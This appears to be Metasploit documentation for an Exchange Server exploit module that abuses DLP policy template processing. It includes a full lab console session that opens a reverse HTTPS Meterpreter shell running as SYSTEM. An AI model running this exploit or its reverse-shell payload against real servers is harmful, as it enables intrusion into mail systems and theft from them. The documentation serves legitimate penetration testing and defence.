William Vu
4.3 KiB
Vulnerable Application
Description
This vulnerability allows remote attackers to execute arbitrary code
on affected installations of Exchange Server. Authentication is
required to exploit this vulnerability. Additionally, the target user
must have the Data Loss Prevention role assigned and an active
mailbox.
If the user is in the Compliance Management or greater Organization Management role groups, then they have the Data Loss Prevention
role. Since the user who installed Exchange is in the Organization Management role group, they transitively have the Data Loss Prevention role.
The specific flaw exists within the processing of the New-DlpPolicy
cmdlet. The issue results from the lack of proper validation of
user-supplied template data when creating a DLP policy. An attacker
can leverage this vulnerability to execute code in the context of
SYSTEM.
Tested against Exchange Server 2016 CU17 on Windows Server 2016.
Setup
Set up a vulnerable target.
Verification Steps
Targets
0
Exchange Server <= 2016 CU17 and 2019 CU6
Options
USERNAME
Set this to the OWA username.
PASSWORD
Set this to the OWA password.
Scenarios
Exchange Server 2016 CU17 on Windows Server 2016
msf6 > use exploit/windows/http/exchange_ecp_dlp_policy
[*] Using configured payload windows/x64/meterpreter/reverse_https
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > options
Module options (exploit/windows/http/exchange_ecp_dlp_policy):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD no OWA password
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Base path
USERNAME no OWA username
VHOST no HTTP server virtual host
Payload options (windows/x64/meterpreter/reverse_https):
Name Current Setting Required Description
---- --------------- -------- -----------
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
LHOST yes The local listener hostname
LPORT 8443 yes The local listener port
LURI no The HTTP Path
Exploit target:
Id Name
-- ----
0 Exchange Server <= 2016 CU17 and 2019 CU6
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set rhosts 192.168.123.178
rhosts => 192.168.123.178
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set username Administrator
username => Administrator
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set password Passw0rd!
password => Passw0rd!
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > set lhost 192.168.123.1
lhost => 192.168.123.1
msf6 exploit(windows/http/exchange_ecp_dlp_policy) > run
[*] Started HTTPS reverse handler on https://192.168.123.1:8443
[*] Executing automatic check (disable AutoCheck to override)
[+] The target appears to be vulnerable. Exchange Server 15.1.2044 is a vulnerable build.
[*] Logging in to OWA with creds Administrator:Passw0rd!
[+] Successfully logged in to OWA
[*] Retrieving ViewState from DLP policy creation page
[+] Successfully retrieved ViewState
[*] Creating custom DLP policy from malicious template
[*] DLP policy name: Abn Amro Corporate Finance Limited Data
[*] Powershell command length: 2472
[*] https://192.168.123.1:8443 handling request from 192.168.123.178; (UUID: jk8kdh8r) Staging x64 payload (201308 bytes) ...
[*] Meterpreter session 1 opened (192.168.123.1:8443 -> 192.168.123.178:28314) at 2020-10-20 14:30:05 -0500
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer : WIN-G2PGASM3QFA
OS : Windows 2016+ (10.0 Build 14393).
Architecture : x64
System Language : en_US
Domain : GIBSON
Logged On Users : 8
Meterpreter : x64/windows
meterpreter >